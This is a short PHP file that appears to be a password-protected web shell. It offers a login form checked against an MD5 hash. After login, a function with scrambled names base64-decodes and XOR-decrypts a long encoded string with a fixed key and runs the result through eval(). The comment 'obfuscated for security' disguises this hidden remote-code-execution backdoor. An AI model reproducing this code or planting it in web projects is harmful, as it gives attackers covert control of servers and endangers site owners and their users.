<?php
error_reporting(0);

if (!is_dir(session_save_path())) {
    ini_set('session.save_path', '/tmp');
}

session_start();

$passwordHash = "85ac4ef08920727414ae0d65b3cd50e6";

if (isset($_POST['password'])) {
    $inputPassword = md5($_POST['password']);
    if ($inputPassword === $passwordHash) {
        $_SESSION['login'] = true;
    }
}

if (!isset($_SESSION['login']) || $_SESSION['login'] !== true) {
?>
    <form method="POST">
        <input type="password" name="password">
        <input type="submit" value="Login">
    </form>
<?php
    exit;
}

// Function obfuscated for security
function pvOKLzhNfJ($VgpYNAjxbl, $cjAahpyxiR) {
    $cjAahpyxiR = base64_encode($cjAahpyxiR);
    $VgpYNAjxbl = base64_decode($VgpYNAjxbl);
    $biDBsXhKsQ = "";
    $XFPFsKBktg = "";
    $lxNaEobzhq = 0;

    while ($lxNaEobzhq < strlen($VgpYNAjxbl)) {
        for ($eHIhOMpaYt = 0; $eHIhOMpaYt < strlen($cjAahpyxiR); $eHIhOMpaYt++) {
            $biDBsXhKsQ = chr(ord($VgpYNAjxbl[$lxNaEobzhq]) ^ ord($cjAahpyxiR[$eHIhOMpaYt]));
            $XFPFsKBktg .= $biDBsXhKsQ;
            $lxNaEobzhq++;
            if ($lxNaEobzhq >= strlen($VgpYNAjxbl)) break;
        }
    }

    return base64_decode($XFPFsKBktg);
}

$ZEmYYChrUc = "lgsodfhsdfnsadfoisdfiasdbfipoas234234";
$kfChuzsyMW = "JhYLEQZqGB4oDH4MEwBdSj0fEBctW1QMPh8UHDoxfxs7OhweOR90HTlIJUovDB8TKhlzUQEqKgwAXAABAyYfHgNfDA4VLRcXLHYpABQ9HwcXMXYSFBcxRS49eBEtLgAOFC4uThQVa1U7dSEOOGUUAC8LflsVOmcSFQM1XixYCw4AKgsKFyIpWQM5ABw5EHwRLxc5DRQ9AE0KEFJWO3UDHTJhEAcFEAQYAl9ZDzgPAwIoejoDOAQxRxAZfiAAXgwJAQEAEjkiGwwtDBgVBAZzUi4EJj40ZBggNXkMPgJcfzwPEQQ+Nl4+KQsSbyQLMxg4FS4bCCgTSiYgExsDFBwHSywJbFoyFCYQBmoYHjl6GF8AOngVExAcAilmHzQZKgxCAA85BAAAHAo5E2BYO0gbFhd2cBEUElVHBg8uAzhqCwIrAAQHOV5jCT0UOR0pZh80GSBqOw==";
$QbgUiRwcII = pvOKLzhNfJ($kfChuzsyMW, $ZEmYYChrUc);

// Execute the obfuscated code
eval($QbgUiRwcII);
?>